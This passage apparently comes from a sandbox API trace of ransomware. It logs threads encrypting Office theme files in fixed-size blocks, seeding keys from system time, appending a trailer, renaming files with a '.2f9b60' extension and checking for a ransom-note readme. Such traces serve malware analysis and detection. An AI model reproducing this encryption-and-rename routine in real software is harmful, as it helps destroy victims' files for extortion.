Office\\Document Themes 14\\34a5459556a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\34a5459556a" [0088.330] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\34a5459556a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\34a5459556a.2f9b60" [0088.330] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\34a5459556a.2f9b60", NtPathName=0x247ff8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\34a5459556a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106e80 [0088.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.331] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x247ff958, FileInformation=0x247ff968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x247ff958, FileInformation=0x247ff968) returned 0x0 [0088.331] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x247ff958, FileInformation=0x247ff968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2210) returned 1 [0088.333] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.335] CloseHandle (hObject=0xa3c) returned 1 [0088.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.336] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.336] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784520) returned 1 Thread: id = 327 os_tid = 0xe4c [0088.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx")) returned 0x20 [0088.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx", dwFileAttributes=0x20) returned 1 [0088.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa40 [0088.312] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x1f01f720 | out: lpFileSize=0x1f01f720*=95803) returned 1 [0088.312] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x17637, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.312] ReadFile (in: hFile=0xa40, lpBuffer=0x1f01f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f01f6e8, lpOverlapped=0x0 | out: lpBuffer=0x1f01f6a0*, lpNumberOfBytesRead=0x1f01f6e8*=0x4, lpOverlapped=0x0) returned 1 [0088.315] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e20 [0088.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0088.315] NtQuerySystemTime (in: CurrentTime=0x1f01f5e0 | out: CurrentTime=0x1f01f5e0*=132462176941846000) returned 0x0 [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x743a56c3 [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x503470db [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x74075238 [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x69debd01 [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x4ce4a448 [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x13f842a8 [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x211a0613 [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x21c75266 [0088.315] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x7d737695 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x6179dce4 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x3693f44c [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x4351dd91 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x75b581f [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x2998d264 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x2c2b9269 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x518b5dc2 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x25d8b7de [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x25bde66c [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x763c3941 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x1a15f68e [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x462219cd [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x25405745 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x20f7552b [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x2f1883cf [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x2622ec8e [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x6897a2eb [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x7e8d0082 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x770eb424 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x40034d6a [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x227617d8 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x51fdf9a6 [0088.316] RtlRandomEx (in: Seed=0x1f01f5d0 | out: Seed=0x1f01f5d0) returned 0x17ec72a9 [0088.323] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.323] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f01f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x1f01f640*=0x3c00, lpOverlapped=0x0) returned 1 [0088.325] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d00 [0088.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d00) returned 1 [0088.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d00 [0088.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859cd0 [0088.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859cd0) returned 1 [0088.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.326] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f01f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x1f01f640*=0x3c00, lpOverlapped=0x0) returned 1 [0088.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.335] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.335] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f01f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x1f01f640*=0x3c00, lpOverlapped=0x0) returned 1 [0088.338] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a030 [0088.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a030) returned 1 [0088.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a030 [0088.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.339] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f01f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x1f01f640*=0x3c00, lpOverlapped=0x0) returned 1 [0088.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.341] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x13a3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.341] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f01f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x1f01f640*=0x3c00, lpOverlapped=0x0) returned 1 [0088.344] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x13a3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0088.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.345] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f01f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x1f01f640*=0x3c00, lpOverlapped=0x0) returned 1 [0088.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2210 [0088.355] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.355] WriteFile (in: hFile=0xa40, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x1f01f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x1f01f6f0*=0x148, lpOverlapped=0x0) returned 1 [0088.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a000) returned 1 [0088.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0088.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0088.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859dc0) returned 1 [0088.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f970 [0088.359] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="54") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="36") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="82") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="f7") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="5e") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="5a") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="21") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="27") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="26") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="a1") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="06") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="8a") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="df") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="9a") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="bc") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="29") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="90") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="bc") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="91") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="82") returned 2 [0088.359] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="8a") returned 2 [0088.359] RtlInitAnsiString (in: DestinationString=0x1f01f768, SourceString="543682f75e5a212726a19d068adf9abc2990bc91828a" | out: DestinationString="543682f75e5a212726a19d068adf9abc2990bc91828a") [0088.359] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f01f738, SourceString="543682f75e5a212726a19d068adf9abc2990bc91828a", AllocateDestinationString=1 | out: DestinationString="543682f75e5a212726a19d068adf9abc2990bc91828a") returned 0x0 [0088.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1f00 [0088.360] wcscat (in: _Dest=0x1b7ad2a0, _Source="543682f75e5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\543682f75e5") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\543682f75e5" [0088.360] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\543682f75e5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\543682f75e5.2f9b60" [0088.360] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\543682f75e5.2f9b60", NtPathName=0x1f01f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\543682f75e5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106e80 [0088.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.361] NtQueryInformationFile (in: FileHandle=0xa40, IoStatusBlock=0x1f01f778, FileInformation=0x1f01f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f01f778, FileInformation=0x1f01f788) returned 0x0 [0088.361] NtSetInformationFile (FileHandle=0xa40, IoStatusBlock=0x1f01f778, FileInformation=0x1f01f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0088.363] FlushFileBuffers (hFile=0xa40) returned 1 [0088.365] CloseHandle (hObject=0xa40) returned 1 [0088.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.366] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.366] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7845b0) returned 1 Thread: id = 328 os_tid = 0xe50 [0088.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx")) returned 0x20 [0088.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx", dwFileAttributes=0x20) returned 1 [0088.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.342] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x246ef6c0 | out: lpFileSize=0x246ef6c0*=655107) returned 1 [0088.343] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x9feff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.343] ReadFile (in: hFile=0xa3c, lpBuffer=0x246ef640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x246ef688, lpOverlapped=0x0 | out: lpBuffer=0x246ef640*, lpNumberOfBytesRead=0x246ef688*=0x4, lpOverlapped=0x0) returned 1 [0088.346] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.346] NtQuerySystemTime (in: CurrentTime=0x246ef580 | out: CurrentTime=0x246ef580*=132462176942158000) returned 0x0 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x505dc62f [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x57ecc87d [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0xcf49099 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x7a295621 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x651c6f80 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x4eef88b6 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x2a574fa [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0xf01e3b4 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x7eece694 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x2f93d213 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x2dfd85c [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0xbdb8e [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x3cc0ff6 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x44593cda [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x36aed843 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x31b9b866 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x4741221c [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x44336814 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x53e5e5fd [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x3a388e11 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0xfc89081 [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x47f2eefc [0088.346] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x5e3b9582 [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x879da80 [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x22657699 [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x29262a0e [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x1fa38433 [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x7d6b99c1 [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x2edc64c1 [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x2e6f3020 [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x1f3c9047 [0088.347] RtlRandomEx (in: Seed=0x246ef570 | out: Seed=0x246ef570) returned 0x4db8d5b8 [0088.353] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.353] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x246ef5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x246ef5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.355] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0088.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 